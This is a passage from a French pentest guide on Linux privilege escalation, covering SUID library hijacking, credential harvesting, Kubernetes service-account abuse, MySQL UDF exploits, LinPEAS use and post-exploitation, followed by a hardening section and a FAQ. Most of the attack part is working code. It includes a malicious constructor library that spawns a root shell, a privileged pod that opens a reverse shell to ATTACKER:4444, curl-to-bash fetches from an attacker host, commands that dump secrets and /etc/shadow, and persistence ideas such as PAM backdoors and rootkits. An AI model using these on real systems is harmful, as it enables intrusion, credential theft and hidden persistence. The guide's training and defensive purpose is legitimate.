// __attribute__((constructor)) s'exécute au chargement de la bibliothèque
static void exploit() __attribute__((constructor));
void exploit() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /usr/lib/custom/libutils.so /tmp/libutils.c
# Exécuter le binaire SUID → il charge notre bibliothèque malveillante
/usr/local/bin/suid_binary
# → Shell root
# Identifier le RPATH d'un binaire (chemin de recherche des libs compilé en dur)
readelf -d /usr/local/bin/suid_binary | grep -i "rpath\|runpath"
# Si RPATH pointe vers un répertoire writable → injection possible
objdump -x /usr/local/bin/suid_binary | grep -i "rpath\|runpath"
# Exemple : RPATH /opt/app/lib
# Si /opt/app/lib est writable → placer notre .so à cet emplacement
# Vérifier les bibliothèques chargées par tous les binaires SUID
for f in $(find / -perm -4000 -type f 2>/dev/null); do
echo "=== $f ==="
ldd "$f" 2>/dev/null | grep "not found"
readelf -d "$f" 2>/dev/null | grep -i rpath
done
# LD_AUDIT : alternative à LD_PRELOAD pour certains cas
# Si le binaire ignore LD_PRELOAD mais pas LD_AUDIT
# (rare car les deux sont normalement ignorés pour SUID)
LD_AUDIT=/tmp/malicious.so /usr/local/bin/suid_binary
Fichiers Sensibles et Credentials Exposés
# Recherche de fichiers contenant des mots de passe
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
grep -r "pass=" /opt/ /var/www/ /home/ 2>/dev/null
grep -r "DB_PASSWORD" /var/www/ 2>/dev/null
# Fichiers .env (applications web modernes)
find / -name ".env" -type f 2>/dev/null
find / -name "*.conf" -type f 2>/dev/null | xargs grep -l password 2>/dev/null
# Clés SSH privées
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
find / -name "authorized_keys" -type f 2>/dev/null
# Historiques de commandes (contiennent souvent des mots de passe)
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
cat /home/*/.mysql_history 2>/dev/null
cat /home/*/.psql_history 2>/dev/null
# Fichiers récemment modifiés (activité suspecte)
find / -mmin -10 -type f 2>/dev/null
# Fichiers world-writable
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys
# Fichiers appartenant à l'utilisateur courant dans des répertoires inhabituels
find / -user $(whoami) -type f 2>/dev/null | grep -v "^/home\|^/tmp\|^/proc"
# Bases de données SQLite (peuvent contenir des credentials)
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
# Clés API et tokens
grep -rn "api[_-]key\|api[_-]secret\|token\|Bearer\|AWS_SECRET" /opt/ /var/www/ /home/ 2>/dev/null
# Variables d'environnement de processus en cours
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|secret\|token\|key\|api"
# Fichiers sensibles spécifiques par technologie
cat /var/www/*/wp-config.php 2>/dev/null | grep "DB_"
find / -name "settings.py" -exec grep -l "SECRET_KEY\|DATABASE" {} \; 2>/dev/null
find / -name ".npmrc" -exec cat {} \; 2>/dev/null | grep "//registry"
find / -name ".docker/config.json" -exec cat {} \; 2>/dev/null # Docker registry auth
Exploitation des Environnements Conteneurisés Kubernetes
Les environnements Kubernetes et Docker Swarm présentent des vecteurs d'escalade spécifiques qui combinent les vulnérabilités Linux classiques avec les particularités de l'orchestration de conteneurs. L'escalade dans Kubernetes suit souvent un chemin : pod compromis vers service account tokens vers cluster admin.
Kubernetes : Service Account Token vers Cluster Admin
# Vérifier si on est dans un pod Kubernetes
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Si ce répertoire existe → on est dans un pod K8s
# Lire le token et les informations du service account
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# API Server (accessible depuis n'importe quel pod par défaut)
APISERVER="https://kubernetes.default.svc"
# Vérifier les permissions du service account
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'$NAMESPACE'"}}'
# Lister les secrets du namespace (si autorisé)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NAMESPACE/secrets" | python3 -m json.tool
# Si le service account peut créer des pods → escalade vers node root
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NAMESPACE/pods" \
-X POST -H "Content-Type: application/json" -d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "pwned-pod"},
"spec": {
"containers": [{
"name": "pwn",
"image": "alpine",
"command": ["sh", "-c", "chroot /host bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\""],
"volumeMounts": [{"mountPath": "/host", "name": "host-root"}],
"securityContext": {"privileged": true}
}],
"volumes": [{"name": "host-root", "hostPath": {"path": "/", "type": "Directory"}}],
"hostNetwork": true,
"hostPID": true
}
}'
Exploitation des Secrets et ConfigMaps Kubernetes
# Les secrets Kubernetes sont encodés en base64 (pas chiffrés !)
# Si le service account peut les lire → accès aux credentials
# Lister et décoder les secrets
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NAMESPACE/secrets" | \
python3 -c "
import json, base64, sys
data = json.load(sys.stdin)
for secret in data.get('items', []):
print(f\"\n=== Secret: {secret['metadata']['name']} ===\")
for key, value in secret.get('data', {}).items():
try:
decoded = base64.b64decode(value).decode('utf-8', errors='replace')
print(f' {key}: {decoded}')
except:
print(f' {key}: [binary data]')
"
# Vérifier les ConfigMaps (pas encodés, souvent avec des credentials)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NAMESPACE/configmaps"
# Types de secrets Kubernetes courants :
# - docker-registry : credentials pour pull d'images privées
# - tls : certificats et clés privées TLS
# - opaque : secrets applicatifs (DB passwords, API keys)
# - service-account-token : tokens d'autres service accounts
# Escalade horizontale : utiliser un token trouvé dans un secret
# pour accéder à un service account plus privilégié
NEW_TOKEN=$(echo "base64_encoded_token" | base64 -d)
curl -s --cacert $CACERT -H "Authorization: Bearer $NEW_TOKEN" \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"kube-system"}}'
Outils d'Énumération Automatisés
LinPEAS
LinPEAS (Linux Privilege Escalation Awesome Script) est l'outil d'énumération le plus complet pour l'escalade de privilèges Linux. Il vérifie des centaines de vecteurs d'escalade en quelques minutes et produit une sortie colorée qui met en évidence les vecteurs les plus prometteurs.
# Téléchargement et exécution (connexion internet)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Transfert local (sans internet sur la cible)
# Sur la machine de l'attaquant :
python3 -m http.server 8080
# Sur la cible :
curl http://attacker:8080/linpeas.sh | bash
# Avec sortie dans un fichier (pour analyse ultérieure)
./linpeas.sh -a 2>&1 | tee linpeas_output.txt
# Mode rapide (skip les tests longs)
./linpeas.sh -s
# LinPEAS code couleur :
# Rouge/Jaune = vecteur d'escalade probable (95%+ de chances)
# Rouge = vecteur d'escalade possible
# Cyan = information intéressante à investiguer
# Vert = information normale
# Exécution en mémoire (plus discret — pas d'écriture sur disque)
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Le script s'exécute depuis stdin → pas de fichier créé sur le filesystem
pspy : Process Snooping Sans Privilèges
# pspy surveille la création de processus sans droits root
# Indispensable pour trouver les tâches cron et scripts périodiques
# Téléchargement
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
# Exécution
chmod +x pspy64
./pspy64
# Avec filtrage (uniquement les processus UID=0)
./pspy64 -pf -i 1000
# Sortie typique intéressante :
# 2026/05/01 14:00:01 CMD: UID=0 PID=12345 | /bin/bash /opt/scripts/cleanup.sh
# 2026/05/01 14:00:01 CMD: UID=0 PID=12346 | tar czf /backup/files.tar.gz /var/data/*
# → Le script cleanup.sh s'exécute en root et utilise un wildcard avec tar
# 2026/05/01 14:05:00 CMD: UID=0 PID=12400 | python3 /opt/monitoring/check.py
# → Script Python root qui pourrait être vulnérable au library hijacking
linux-exploit-suggester
# Suggère les exploits noyau applicables au système
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
# Résultat typique :
# [+] [CVE-2022-0847] DirtyPipe
# Exposure: probable
# Tags: ubuntu=(20.04|21.04|22.04)
# Build: gcc exploit.c -o exploit
# Source: https://haxx.in/files/dirtypipez.c
#
# [+] [CVE-2021-4034] PwnKit
# Exposure: probable
# Tags: any distribution with polkit
# Build: gcc pwnkit.c -o pwnkit
#
# [+] [CVE-2024-1086] nf_tables
# Exposure: probable
# Tags: ubuntu=(22.04), debian=(11|12)
Exploitation de Services MySQL/MariaDB Mal Configurés
Si MySQL/MariaDB s'exécute en tant que root (ce qui ne devrait jamais être le cas en production mais reste fréquent sur les serveurs de développement), et que l'attaquant a des credentials MySQL, il peut obtenir un shell root via plusieurs méthodes.
# Vérifier si MySQL tourne en tant que root
ps aux | grep mysql
# Si l'utilisateur est root (pas mysql ou mysqld) → exploitable
# Méthode 1 : UDF (User-Defined Function) pour exécution de commandes
# Compiler la bibliothèque UDF
cat > raptor_udf2.c << 'EOF'
#include
#include
enum Item_result { STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT };
typedef struct st_udf_args {
unsigned int arg_count;
enum Item_result *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->arg_count != 1) return 0;
system(args->args[0]);
return 0;
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return 0; }
EOF
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Charger dans MySQL
mysql -u root -p'password' << 'SQL'
USE mysql;
CREATE TABLE foo(line blob);
INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
SELECT do_system('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash');
SQL
# Méthode 2 : Shell direct via \!
mysql -u root -p'password' -e '\! /bin/bash'
# Méthode 3 : Écriture de fichier via SELECT INTO OUTFILE
mysql -u root -p'password' -e "SELECT '* * * * * root cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' INTO OUTFILE '/etc/cron.d/exploit'"
Post-Exploitation : Actions Après l'Obtention de Root
Une fois root obtenu, les actions suivantes maximisent la valeur de la compromission pour l'audit de sécurité. La post-exploitation couvre la collecte de credentials pour le mouvement latéral, l'identification des cibles réseau, et la documentation de l'impact.
# 1. Collecte de credentials pour le mouvement latéral
cat /etc/shadow # Hashes pour cracking offline
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null # Clés SSH
cat /root/.ssh/known_hosts # Machines déjà connectées
cat /root/.bash_history | grep -i "ssh\|scp\|rsync\|mysql" # Historique
# 2. Identification du réseau et des cibles
ip addr show # Interfaces réseau (multiples = pivot possible)
ip route show # Routes vers d'autres réseaux
arp -a # Voisins réseau
ss -tlnp # Services en écoute
cat /etc/hosts # Résolution locale
# 3. Collecte des credentials applicatives
find / -name ".env" -exec cat {} \; 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
# 4. Vérification des mécanismes de détection
cat /etc/rsyslog.conf
systemctl status auditd 2>/dev/null
ps aux | grep -i "ossec\|wazuh\|falcon\|sentinel\|elastic\|agent"
dpkg -l 2>/dev/null | grep -i "security\|monitor\|audit"
# 5. Documentation pour le rapport d'audit
id; hostname; date
cat /etc/shadow | head -3 # Preuve de lecture de shadow
ifconfig || ip addr # Preuve de l'identité de la machine
# 6. Tunnels SSH pour le pivot vers le réseau interne
ssh -L 8080:10.0.0.5:80 user@pivot-host # Port forwarding local
ssh -D 1080 user@pivot-host # SOCKS proxy
ssh -R 8080:localhost:80 attacker@external # Port forwarding inverse
Défenses et Hardening Linux
La prévention de l'escalade de privilèges repose sur plusieurs couches de défense complémentaires. Aucune mesure individuelle n'est suffisante — c'est la combinaison qui rend l'escalade significativement plus difficile.
# 1. Audit et suppression des SUID inutiles
find / -perm -4000 -type f 2>/dev/null > /tmp/suid_current.txt
# Comparer avec la liste de référence de la distribution
# Supprimer le SUID sur les binaires non nécessaires :
chmod u-s /usr/bin/find
chmod u-s /usr/bin/vim.basic
# 2. Configuration sudo restrictive
# /etc/sudoers - principes :
# - Pas de NOPASSWD sauf nécessité absolue documentée
# - Pas de wildcards dans les chemins autorisés
# - Pas de commandes qui permettent un shell (vim, less, man, awk, etc.)
# - Utiliser sudoedit au lieu de sudo vim pour l'édition de fichiers
# - Spécifier les arguments quand possible
# - Ne JAMAIS mettre env_keep += LD_PRELOAD ou LD_LIBRARY_PATH
# Exemple de configuration sécurisée
user ALL=(root) /usr/bin/systemctl restart nginx
user ALL=(root) /usr/bin/systemctl restart postgresql
# PAS : user ALL=(root) /usr/bin/systemctl * (wildcard = exploit)
# 3. Sécurisation des tâches cron
# - Chemins absolus dans les scripts (/usr/bin/tar, pas tar)
# - Pas de wildcards dans les commandes
# - Scripts non writable par les utilisateurs non-root : chmod 700
# - Variable PATH explicite dans le crontab
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# 4. Désactivation des capabilities dangereuses
getcap -r / 2>/dev/null
setcap -r /usr/bin/python3 # Supprimer toutes les capabilities
# 5. Sécurisation Docker
# Ne jamais exécuter Docker avec --privileged en production
# Ne jamais monter /var/run/docker.sock dans un conteneur non fiable
# Utiliser rootless Docker si possible
# Configurer les security profiles (seccomp, AppArmor)
# Restreindre le groupe docker aux seuls administrateurs
# 6. Mise à jour du kernel et des paquets de sécurité
uname -r
apt list --upgradable 2>/dev/null | grep -i "linux-image\|polkit\|sudo"
# 7. Monitoring avec auditd pour détecter les tentatives d'escalade
# /etc/audit/rules.d/escalation.rules
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -F auid!=4294967295 -k escalation
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes
-w /etc/sudoers -p wa -k sudoers_changes
-w /usr/bin/sudo -p x -k sudo_usage
-a always,exit -F arch=b64 -S setuid -S setgid -S setreuid -S setregid -k privilege_change
# 8. Restrictions supplémentaires
# Activer YAMA ptrace_scope pour empêcher l'injection de processus
echo 2 > /proc/sys/kernel/yama/ptrace_scope
# Désactiver le chargement de modules noyau (après le boot)
echo 1 > /proc/sys/kernel/modules_disabled
# Restreindre l'accès à dmesg
echo 1 > /proc/sys/kernel/dmesg_restrict
Méthodologie Complète d'Escalade de Privilèges
La méthodologie suivante résume l'approche systématique à suivre lors d'un pentest. L'ordre est optimisé pour tester les vecteurs les plus fiables et les plus fréquents en premier.
| Étape | Action | Outil | Temps Estimé |
|---|---|---|---|
| 1 | Informations système (kernel, distribution, arch) | uname -a, /etc/os-release | 30 sec |
| 2 | Utilisateur, groupes, sudo -l | id, sudo -l, groups | 1 min |
| 3 | Binaires SUID/SGID | find -perm -4000 | 1 min |
| 4 | Capabilities | getcap -r / | 1 min |
| 5 | Tâches cron et timers | crontab -l, /etc/crontab, systemctl list-timers, pspy | 5 min |
| 6 | Fichiers et répertoires world-writable | find / -writable | 2 min |
| 7 | Credentials exposés (.env, historiques, configs) | grep -r password, find .env | 5 min |
| 8 | NFS exports | /etc/exports, showmount | 1 min |
| 9 | Environnement Docker/K8s | /.dockerenv, /proc/1/cgroup, socket | 1 min |
| 10 | Services D-Bus exploitables | busctl list, pkaction | 3 min |
| 11 | Bibliothèques manquantes (SO injection) | strace, ldd, readelf | 3 min |
| 12 | Exploits noyau applicables | linux-exploit-suggester | 2 min |
| 13 | Scan complet automatisé | LinPEAS | 5-10 min |
FAQ
Par quel vecteur d'escalade commencer lors d'un pentest Linux ?
La priorité dépend de la fiabilité et de la discrétion. Commencez par sudo -l — c'est le vecteur le plus fréquent et le plus fiable. Ensuite vérifiez les binaires SUID (find / -perm -4000) et les capabilities (getcap -r /). Puis examinez les tâches cron (cat /etc/crontab, pspy) et les fichiers world-writable. Les credentials exposés (fichiers .env, historiques bash) sont souvent productifs. Les exploits noyau sont le dernier recours — ils sont fiables sur les kernels récents (DirtyPipe, GameOverlay) mais doivent être testés avec prudence. Exécutez LinPEAS pour une énumération exhaustive, mais analysez manuellement les résultats : LinPEAS remonte beaucoup de faux positifs et peut manquer des vecteurs custom. L'approche la plus efficace combine l'outil automatisé (pour ne rien oublier) avec l'analyse manuelle (pour identifier les vecteurs subtils).
Comment détecter si on est dans un conteneur Docker ou un pod Kubernetes ?
Plusieurs indicateurs pour Docker : la présence du fichier /.dockerenv, la mention de "docker" ou "containerd" dans /proc/1/cgroup, un hostname qui ressemble à un hash court (12 caractères hexadécimaux), un filesystem overlay visible dans mount, un nombre très limité de processus dans ps aux, et l'absence de services système habituels (systemd, cron, sshd). Pour Kubernetes, le répertoire /var/run/secrets/kubernetes.io/serviceaccount/ contenant un token, un namespace, et un certificat CA est un indicateur fiable. La commande capsh --print montre des capabilities restreintes par rapport à un host standard. L'évasion du conteneur nécessite ensuite d'identifier les erreurs de configuration : socket Docker monté, mode privilégié, capabilities dangereuses, ou partage de namespaces avec le host. En environnement cloud, les metadata endpoints (169.254.169.254) sont aussi accessibles depuis les conteneurs et peuvent révéler des credentials IAM.
PwnKit (CVE-2021-4034) fonctionne-t-il toujours en 2026 ?
PwnKit exploite une vulnérabilité dans polkit (pkexec), présent sur quasiment toutes les distributions Linux depuis 2009. La vulnérabilité a été corrigée en janvier 2022, mais les systèmes non patchés restent vulnérables. En 2026, PwnKit fonctionne encore sur les serveurs qui n'ont pas été mis à jour depuis 2022 — c'est plus fréquent qu'on ne le pense, surtout dans les environnements legacy, les appliances réseau (firewalls, NAS, imprimantes), les systèmes embarqués (IoT industriel), et les VMs oubliées dans le cloud. L'exploit est extrêmement fiable (ne crash jamais) et fonctionnel sur toutes les distributions et architectures. Vérifiez avec pkexec --version ou dpkg -l policykit-1 — si la version est antérieure à 0.120 (Debian) ou au patch de janvier 2022, le système est vulnérable. La suppression du bit SUID sur pkexec (chmod u-s /usr/bin/pkexec) est une mitigation immédiate si le patch ne peut pas être appliqué.
Comment exploiter un binaire SUID personnalisé inconnu ?
Commencez par l'analyse statique : file pour identifier le type (ELF 32/64 bits, script), strings pour extraire les chaînes lisibles (cherchez les noms de commandes appelées sans chemin absolu, les paths de fichiers, les messages d'erreur). Exécutez strace pour tracer les appels système — identifiez les fichiers ouverts (open/openat), les commandes exécutées (execve), les bibliothèques chargées (open sur .so). Utilisez ltrace pour tracer les appels de bibliothèque — cherchez les appels à system(), execve(), popen() avec des arguments contrôlables ou sans chemin absolu. Vérifiez le RPATH avec readelf -d binary | grep RPATH pour identifier les chemins de bibliothèques potentiellement writable. Si le binaire appelle une commande sans chemin absolu, tentez le PATH hijacking. Si le binaire lit un fichier de configuration, vérifiez si ce fichier est writable. Pour les binaires compilés, Ghidra (gratuit) ou IDA Pro permettent le reverse engineering complet pour identifier les buffer overflows, format strings, et injections de commande.
Exploitation avancée
Les wildcards dans les scripts cron sont-ils toujours exploitables avec tar en 2026 ?
Oui, la wildcard injection avec tar reste l'un des vecteurs les plus courants tant en CTF qu'en situation réelle. La commande tar czf archive.tar.gz * dans un répertoire où l'attaquant peut créer des fichiers permet d'injecter les options --checkpoint=1 et --checkpoint-action=exec=commande. Le shell expande le wildcard * en liste de fichiers AVANT de les passer à tar, et les noms commençant par -- sont interprétés comme des options. La même technique fonctionne avec rsync (option -e pour exécuter une commande), chmod/chown (option --reference pour copier les permissions d'un fichier arbitraire), et 7z (suivi de symlinks). La défense consiste à utiliser des chemins absolus, à préfixer avec ./ (ce qui empêche l'interprétation comme options dans la plupart des cas), ou à utiliser find ... -exec tar ... au lieu de wildcards.
Comment l'escalade de privilèges fonctionne-t-elle dans un environnement avec SELinux en mode enforcing ?
SELinux en mode enforcing ajoute une couche de contrôle d'accès obligatoire (MAC) qui restreint les actions même pour root. Un exploit qui donne un shell root peut être limité par la politique SELinux : le processus conserve son contexte de sécurité (ex: httpd_t) et ne peut accéder qu'aux ressources autorisées pour ce contexte. La première étape est de vérifier le contexte avec id -Z : si le contexte est unconfined_t, SELinux n'offre aucune restriction supplémentaire. En contexte confiné, les options sont : 1) trouver une transition de contexte vers unconfined_t (via un binaire avec un contexte de transition dans la politique), 2) exploiter une politique trop permissive (certains booleans SELinux comme httpd_execmem peuvent être activés et permettre l'exécution de code arbitraire), 3) cibler le noyau lui-même pour désactiver SELinux (nécessite un exploit kernel qui modifie la variable selinux_enforcing en mémoire). AppArmor est généralement moins restrictif et peut souvent être contourné en exploitant des profils incomplets qui n'anticipent pas tous les chemins d'accès possibles.
Quelles sont les permissions minimales pour un conteneur Docker sécurisé ?
Un conteneur Docker sécurisé doit respecter les principes suivants : ne pas utiliser --privileged, ne pas monter le socket Docker (/var/run/docker.sock), ne pas utiliser --pid=host ni --net=host, dropper toutes les capabilities puis ajouter uniquement celles nécessaires (--cap-drop ALL --cap-add NET_BIND_SERVICE), utiliser un utilisateur non-root dans le Dockerfile (USER 1000), monter le filesystem root en lecture seule (--read-only), utiliser un tmpfs pour les répertoires nécessitant l'écriture, limiter les ressources CPU et mémoire, et utiliser un profil seccomp restrictif. L'option --security-opt no-new-privileges empêche les processus d'obtenir des privilèges supplémentaires via SUID/capabilities. Pour la production, ajoutez un profil AppArmor ou SELinux dédié, activez le user namespace remapping (--userns-remap), et limitez les syscalls avec seccomp. En Kubernetes, utilisez les Pod Security Standards (restricted) pour enforcer ces restrictions au niveau du cluster.
Exploitation avancée
Comment persister l'accès root après l'escalade de privilèges ?
La persistance est la phase qui suit l'escalade. Les techniques les plus discrètes par ordre de furtivité : 1) Ajout d'une clé SSH dans /root/.ssh/authorized_keys (simple mais détectable par audit des fichiers authorized_keys). 2) Création d'un utilisateur système avec un UID élevé (ex: UID 65534) pour se fondre parmi les comptes de service. 3) Modification d'un script d'initialisation existant (init.d, systemd service) pour exécuter un callback — difficile à détecter si subtil. 4) Installation d'un backdoor PAM (/etc/pam.d/) qui accepte un mot de passe universel en plus du mot de passe légitime — très furtif. 5) Création d'un binaire SUID caché dans un répertoire non surveillé (/usr/share/..., /var/lib/...). 6) Modification des alias bash dans /root/.bashrc pour intercepter les commandes. 7) Rootkit noyau (LKM) qui cache les processus, fichiers et connexions — le plus furtif mais le plus risqué. En situation de pentest légitime, documentez les mécanismes de persistance possibles sans les implémenter, sauf accord explicite du client dans les règles d'engagement.
Comment identifier les processus root exploitables avec pspy ?
Utilisez pspy pour surveiller les processus en continu pendant au moins 5 à 10 minutes (pour capturer les crons de 5 minutes). Identifiez les processus root (UID=0) qui : exécutent des scripts sans chemin absolu (PATH hijacking), utilisent des wildcards dans des commandes tar/rsync (wildcard injection), lisent des fichiers de configuration modifiables par votre utilisateur (modification de config), appellent des interpréteurs (python, perl, ruby) sur des scripts dans des répertoires writable (library hijacking ou modification directe), ou ouvrent des connexions réseau vers des services que vous pouvez intercepter (MITM). En complément de pspy, ps aux --forest | grep root montre l'arbre des processus à un instant T, et systemctl list-timers révèle les timers systemd actifs. Les applications web (nginx worker, php-fpm, java) tournent souvent sous un utilisateur dédié mais leurs processus parents ou scripts de maintenance tournent en root.
Quelle est la différence entre l'escalade de privilèges en CTF et en pentest réel ?
En CTF, les challenges sont conçus pour présenter un vecteur spécifique et éduquer : SUID sur un binaire custom, kernel exploit sur un kernel précis, capability exotique. Le chemin est unique et intentionnel. En pentest réel, les vecteurs les plus fréquents sont beaucoup plus banals : 1) Credentials réutilisés (le mot de passe de la base de données est aussi le mot de passe root — cas le plus courant), 2) sudo mal configuré avec des commandes trop permissives, 3) appartenance au groupe docker ou lxd (souvent ajouté "pour le développement" et jamais retiré), 4) fichiers .env ou historiques bash contenant des mots de passe en clair. Les exploits kernel sont rarement nécessaires en réalité car au moins un des vecteurs ci-dessus est présent sur la majorité des systèmes. En pentest, la discrétion compte aussi : utiliser un exploit kernel qui pourrait crasher un serveur de production est inacceptable, alors qu'en CTF on peut tenter des exploits risqués sans conséquence.
LinPEAS est-il détecté par les EDR et les solutions HIDS ?
Oui, LinPEAS est détecté par la plupart des solutions de sécurité modernes. Son hash SHA-256 est dans les bases de signatures de CrowdStrike Falcon, SentinelOne, Wazuh, OSSEC, et la plupart des EDR. Ses patterns de comportement (lecture massive de /etc/*, /proc/*, énumération rapide des SUID et capabilities) sont aussi détectés par les règles comportementales. Alternatives plus discrètes : effectuer l'énumération manuellement avec des commandes natives (find, grep, cat — ne déclenchent généralement pas d'alertes individuellement), utiliser une version modifiée de LinPEAS (renommer les fonctions, modifier les patterns de sortie, supprimer les banners), exécuter uniquement les modules pertinents (./linpeas.sh -s pour un scan rapide), ou exécuter en mémoire sans écriture sur disque (curl -sL url | bash). En pentest avec coordination SOC, demander un whitelist temporaire pour l'IP de l'auditeur ou convenir d'une fenêtre de test.
Conclusion Opérationnelle
L'escalade de privilèges Linux est rarement un obstacle insurmontable pour un attaquant patient et méthodique. La diversité des vecteurs — sudo, SUID, capabilities, cron, kernel exploits, Docker, polkit, library hijacking, D-Bus — garantit qu'au moins un chemin vers root existe sur la plupart des systèmes en production. Les configurations par défaut des distributions modernes sont plus sûres qu'il y a cinq ans (moindre binaires SUID, kernel hardening, absence de Docker par défaut), mais les configurations personnalisées introduisent invariablement des faiblesses : un script cron avec un wildcard, une règle sudoers trop permissive, une capability CAP_SYS_ADMIN sur un binaire Python, un conteneur Docker avec le socket monté, ou un utilisateur dans le groupe lxd "temporairement". L'énumération systématique avec LinPEAS et pspy, combinée avec la connaissance de GTFOBins pour les binaires standards et la compréhension des mécanismes sous-jacents (namespaces, capabilities, SUID, PAM), permet d'identifier et d'exploiter ces faiblesses de manière fiable. Pour les défenseurs, la mitigation passe par l'audit régulier des configurations sudo et des SUID, la suppression des capabilities inutiles, la configuration correcte de Docker (pas de --privileged, pas de socket monté, drop all capabilities), le patching des exploits noyau critiques (PwnKit, DirtyPipe, GameOverlay), et surtout le monitoring avec auditd pour détecter les tentatives d'escalade en temps réel. La défense en profondeur — combinant le hardening système, le monitoring, et les contrôles d'accès obligatoires (SELinux/AppArmor) — est la seule approche qui rend l'escalade réellement difficile pour un attaquant avancé.
Pour les techniques d'exploitation initiale qui mènent à l'accès utilisateur, notre article sur l'injection XXE et le SSRF vers les metadata cloud couvrent les vecteurs d'accès initial les plus courants en environnement web. L'escalade de privilèges sur Windows suit une méthodologie parallèle détaillée dans notre guide d'escalade Windows. Pour la sécurisation des pipelines qui construisent ces systèmes, notre article sur l'audit des pipelines CI/CD couvre les contrôles préventifs qui empêchent le déploiement de configurations vulnérables. La détection de ces techniques d'escalade en production est couverte dans notre article sur la détection d'intrusion Linux avec auditd et OSSEC. Enfin, pour comprendre les mécanismes de sécurité noyau qui protègent contre ces attaques, notre guide sur le hardening du kernel Linux détaille les configurations seccomp, AppArmor et les sysctl de sécurité.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Articles connexes
XXE : XML External Entity — Exploitation et Défense
L'injection XXE (XML External Entity) exploite le mécanisme d'entités externes du standard XML pour forcer un parser côté serveur à charger des ressources arbitraires — fichiers locaux, URLs internes, ou données encodées exfiltrées vers un serveur contrôlé par l'attaquant. Malgré...
Élévation de Privilèges Windows : Techniques Avancées
SSRF : Server-Side Request Forgery — Exploitation Avancée
Le Server-Side Request Forgery reste en 2026 l'une des vulnérabilités les plus sous-estimées et les plus dévastatrices dans les architectures cloud-native. Là où une injection SQL compromet une base de données, un SSRF bien exploité compromet l'infrastructure entière : accès...
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire